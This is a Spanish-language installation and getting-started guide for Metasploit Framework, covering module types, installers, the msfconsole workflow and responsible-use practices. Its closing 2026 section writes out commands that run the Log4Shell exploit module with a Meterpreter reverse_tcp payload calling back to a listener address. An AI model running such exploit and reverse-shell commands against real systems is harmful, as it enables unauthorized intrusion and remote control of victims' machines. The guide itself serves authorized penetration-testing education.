Metasploit Framework es la plataforma open source más usada para pruebas de penetración y explotación. A noviembre de 2025 ofrece 6065 módulos (incluye 2566 exploits, 1316 auxiliares, 1680 payloads, 432 post, 49 encoders, 9 evasion y 13 NOP). Se instala en Windows, macOS y Linux y también vía Docker.
Tabla de Contenido
Si buscas una guía práctica y actualizada para descargar, instalar y comenzar a usar Metasploit, aquí tienes todo lo esencial en un solo lugar, con enlaces oficiales y pasos accionables.
¿Qué es Metasploit Framework y para qué sirve?
Metasploit Framework es un proyecto de código abierto orientado a la seguridad ofensiva. Permite descubrir, validar y explotar vulnerabilidades de forma controlada, así como generar firmas y realizar tareas de post-explotación. Su arquitectura modular acelera pruebas en múltiples protocolos, servicios y sistemas.
Metasploit se integra con bases de datos, automatiza rutinas de reconocimiento, soporta payloads avanzados como Meterpreter y facilita desde pruebas puntuales hasta ejercicios de red team.
“Metasploit concentra en un solo entorno el ciclo: reconocimiento → explotación → post-explotación, con miles de módulos mantenidos por la comunidad y Rapid7.”
| Concepto | Aplicación |
|---|---|
| Exploit | Ejecuta una técnica para aprovechar una vulnerabilidad específica |
| Auxiliary | Escaneo, fuzzing, fuerza bruta y utilidades sin explotar |
| Payload | Código que corre tras el exploit (por ej., Meterpreter) |
| Post | Acciones tras comprometer el sistema (recolección, persistencia) |
| Encoder / NOP / Evasion | Ofuscación, relleno y evasión defensiva |
Descarga oficial y métodos de instalación
Para evitar paquetes desactualizados, prioriza los instaladores y documentación oficiales. Estas rutas cubren sistemas de escritorio y servidores:
- Página de descarga de Metasploit
- Instaladores Nightly (Windows, macOS, Linux)
- Repositorio oficial en GitHub
- Imagen oficial en Docker Hub
Instalación en Windows (recomendada para empezar)
- Descarga el instalador nightly desde la documentación oficial.
- Ejecuta el paquete (incluye dependencias como Ruby, PostgreSQL y utilidades útiles).
- Abre msfconsole para iniciar la interfaz de línea de comandos.
Instalación en macOS
Tienes dos opciones cómodas:
- Instalador oficial: desde los nightly installers (rápido y con dependencias incluidas).
- Homebrew (cask): útil si ya gestionas herramientas con Brew.
Tras instalar, ejecuta msfconsole en la terminal para verificar.
Instalación en Linux
En distribuciones comunes puedes usar los instaladores oficiales o paquetes según la documentación. En entornos como Kali/Parrot suele venir integrado y actualizable por el gestor de paquetes. Para máxima compatibilidad, los instaladores nightly garantizan versiones recientes.
Ejecutar Metasploit en Docker
Si prefieres aislar dependencias, utiliza la imagen oficial de Docker. Es ideal para laboratorios efímeros, CI y entrenamientos. Publica los puertos necesarios y monta directorios de trabajo para persistir resultados.
Primeros pasos con msfconsole
Una vez dentro de msfconsole, la lógica de trabajo es directa y repetible:
- Actualizar módulos: msfupdate, si procede.
- Buscar: search por CVE, servicio o producto.
- Seleccionar módulo: use seguido del camino del módulo.
- Configurar opciones: show options, set RHOSTS, set RPORT, etc.
- Elegir payload: show payloads y set PAYLOAD (p.ej. Meterpreter).
- Ejecutar: run/exploit y observar resultados.
Consejo: combina módulos auxiliary para reconocimiento con exploits conocidos, limitando intentos y vértices de riesgo en entornos sensibles.
Módulos y capacidades (visión actual)
Hoy Metasploit cuenta con miles de módulos mantenidos activamente. Una parte clave es Meterpreter, un payload avanzado que opera en memoria, soporta múltiples transportes y facilita post-explotación (búsqueda de credenciales, pivoting, captura de evidencia y más). Además, los módulos de post automatizan tareas tras la intrusión y los auxiliary agilizan fuerza bruta, escaneo y verificación de superficie expuesta.
El ecosistema crece con contribuciones en GitHub: nuevas firmas, exploits, mejoras en estabilidad y módulos de reconocimiento para servicios emergentes. Por ello, revisar cambios frecuentes y las notas de versión es un hábito recomendable.
Metodología paso a paso
- Definir alcance: Documenta objetivos, activos y autorizaciones; evita afectar fuera del perímetro.
- Reconocimiento: Identifica servicios y versiones con módulos auxiliary y herramientas complementarias.
- Mapear vulnerabilidades: Cruza resultados con CVEs y módulos disponibles.
- Explotación controlada: Elige exploits seguros y limita impactos (intentos, tiempo, payload).
- Post-explotación: Recopila evidencias, mínima persistencia y limpia artefactos.
- Reporte: Registra hallazgos, severidades y remediaciones verificadas.
Buenas prácticas para uso responsable
- Opera solo con permiso explícito y en entornos definidos.
- Prefiere laboratorios y segmenta redes de prueba.
- Mantén Metasploit y dependencias actualizadas.
- Controla el número de hilos y tiempos para evitar denegaciones involuntarias.
- Apoya tus pruebas con evidencias reproducibles y recomendaciones de mitigación.
Recursos oficiales y útiles
- Documentación de Metasploit
- Guía oficial de instalación
- Listado de módulos en GitHub
- Resumen y conteo de módulos
Preguntas frecuentes
¿Cuántos módulos tiene Metasploit actualmente?
En noviembre de 2025, el catálogo muestra 6065 módulos, de los cuales 2566 son exploits, 1316 auxiliares, 1680 payloads, 432 de post-explotación, 49 encoders, 9 de evasión y 13 NOP. Revisa regularmente la documentación porque los conteos crecen.
¿Cómo instalo Metasploit en Windows/macOS/Linux?
Lo más simple es usar los nightly installers oficiales que incluyen dependencias. En macOS también puedes usar Homebrew (cask). En Linux, según la distro, tienes paquetes o el instalador oficial; en Kali suele venir preinstalado o actualizable.
¿Puedo usar Metasploit en contenedores?
Sí, existe una imagen oficial en Docker Hub. Es ideal para laboratorios rápidos y CI, y evita conflictos de dependencias locales.
¿Meterpreter es seguro para pruebas?
Es potente y flexible, pero como cualquier payload puede activar defensas. Ajusta el perfil de ejecución, limita el alcance, y documenta todo. Empléalo únicamente con autorización.
Conclusión
Puntos clave: Metasploit concentra reconocimiento, explotación y post-explotación con miles de módulos actualizados; ofrece instaladores oficiales para todos los SO y una imagen Docker; su adopción responsable acelera la validación de vulnerabilidades y la remediación. CTA: Descarga la versión más reciente desde la página oficial y monta un laboratorio controlado para practicar.
Actualización 2026: Metasploit sigue vigente — esto es lo que cambió
Buenas noticias primero: casi todo lo esencial de este artículo sigue siendo cierto. msfconsole continúa siendo la interfaz principal del framework, la arquitectura modular (exploit, auxiliary, payload, post, encoder, NOP, evasion) sigue siendo el corazón del proyecto, Meterpreter sigue siendo el payload avanzado de referencia para post-explotación en memoria, y los instaladores oficiales —incluida la imagen de Docker— siguen siendo la vía recomendada de instalación. El flujo básico tampoco cambió: buscar, seleccionar, configurar, ejecutar.
Lo que sí cambió es la versión y algunas capacidades. En julio de 2026 Rapid7 lanzó Metasploit Framework 6.5, y entre las novedades destacadas están la integración de perfiles Malleable C2, un servidor MCP de Metasploit que permite que herramientas de IA asistan al operador dentro de una sesión de msfconsole en ejecución, y el etiquetado de módulos con MITRE ATT&CK para búsquedas más precisas: anuncio oficial de Metasploit 6.5. El proyecto mantiene su ritmo de actualizaciones frecuentes con módulos nuevos en cada release, así que la recomendación de mantener la instalación actualizada es hoy más válida que nunca.
En resumen: si aprendiste Metasploit con el flujo de este artículo, tu conocimiento sigue siendo válido; solo necesitas actualizar la versión y explorar las capacidades nuevas de la 6.x.
Actualización 2026: un flujo de trabajo responsable con msfconsole
El flujo moderno con msfconsole, con comandos reales y sintaxis estándar, se ve así en la práctica. Primero, localiza el módulo por vulnerabilidad, servicio o técnica:
«` search cve:2021-44228 use exploit/multi/http/log4shell_header_injection show options «`
Luego configura el objetivo y el payload, verifica y ejecuta:
«` set RHOSTS 192.168.56.101 show payloads set PAYLOAD linux/x64/meterpreter/reverse_tcp set LHOST 192.168.56.1 run «`
Tras una explotación exitosa, gestiona las sesiones sin perder el control:
«` sessions -l sessions -i 1 back exit «`
Tres reglas que separan al profesional del aficionado: opera solo con autorización explícita y alcance documentado —explotar sin permiso es delito aunque el objetivo sea vulnerable—; limita hilos e intentos en entornos sensibles para no provocar denegaciones de servicio involuntarias; y documenta cada paso con evidencia reproducible, porque un hallazgo que no puedes reproducir no es un hallazgo que puedas reportar con rigor. Metasploit es una herramienta de validación, no un arma: el valor está en demostrar el riesgo y guiar la remediación.
